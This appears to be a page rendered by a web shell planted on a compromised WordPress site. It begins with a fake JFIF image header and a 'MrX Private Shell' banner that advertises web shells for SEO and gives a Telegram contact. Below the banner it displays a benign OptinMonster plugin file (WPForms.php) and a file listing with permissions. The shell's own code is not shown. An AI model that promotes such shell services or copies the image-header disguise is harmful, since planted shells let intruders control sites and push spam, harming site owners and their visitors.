����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* WPForms class.
*
* @since 2.9.0
*
* @package OMAPI
* @author Eduardo Nakatsuka
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* The WPForms class.
*
* @since 2.9.0
*/
class OMAPI_WPForms extends OMAPI_Integrations_Base {
/**
* The OMAPI_WPForms_RestApi instance.
*
* @since 2.13.0
*
* @var null|OMAPI_WPForms_RestApi
*/
public $rest = null;
/**
* Holds the instance of OMAPI_WPForms_Save.
*
* @var null|OMAPI_WPForms_Save
*/
public $save = null;
/**
* Primary class constructor.
*
* @since 2.9.0
*/
public function __construct() {
parent::__construct();
$this->save = new OMAPI_WPForms_Save();
add_action( 'optin_monster_api_rest_register_routes', array( $this, 'maybe_init_rest_routes' ) );
// When WPForms is activated, connect it.
add_action( 'activate_wpforms-lite/wpforms.php', array( $this->save, 'connect' ) );
add_action( 'activate_wpforms/wpforms.php', array( $this->save, 'connect' ) );
// When WPForms is deactivated, disconnect.
add_action( 'deactivate_wpforms-lite/wpforms.php', array( $this->save, 'disconnect' ) );
add_action( 'deactivate_wpforms/wpforms.php', array( $this->save, 'disconnect' ) );
}
/**
* Check if the WPForms plugin is active.
*
* @since 2.9.0
*
* @return bool
*/
public static function is_active() {
return class_exists( 'WPForms', true );
}
/**
* Get WPForms forms array containing label and value.
*
* @since 2.9.0
*
* @return array
*/
public function get_forms_array() {
$forms = $this->get_forms();
$result = array();
if ( empty( $forms ) || ! is_array( $forms ) ) {
return $result;
}
foreach ( $forms as $form ) {
$result[] = array(
'value' => $form->ID,
'label' => $form->post_title,
);
}
return $result;
}
/**
* Get forms from WPForms plugin.
*
* @since 2.9.0
*
* @return array All the forms in WPForms plugin.
*/
public function get_forms() {
if ( ! function_exists( 'wpforms' ) ) {
return array();
}
return wpforms()->form->get( '', array( 'order' => 'DESC' ) );
}
/**
* Get the currently installed WPForms version.
*
* @since 2.9.0
*
* @return string The WPForms version.
*/
public static function version() {
if ( ! function_exists( 'wpforms' ) ) {
return '0.0.0';
}
$version = wpforms()->version;
return $version ? $version : '0.0.0';
}
/**
* Initiate our REST routes for EDD if EDD active.
*
* @since 2.13.0
*
* @return void
*/
public function maybe_init_rest_routes() {
if ( self::is_active() ) {
$this->rest = new OMAPI_WPForms_RestApi( $this );
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|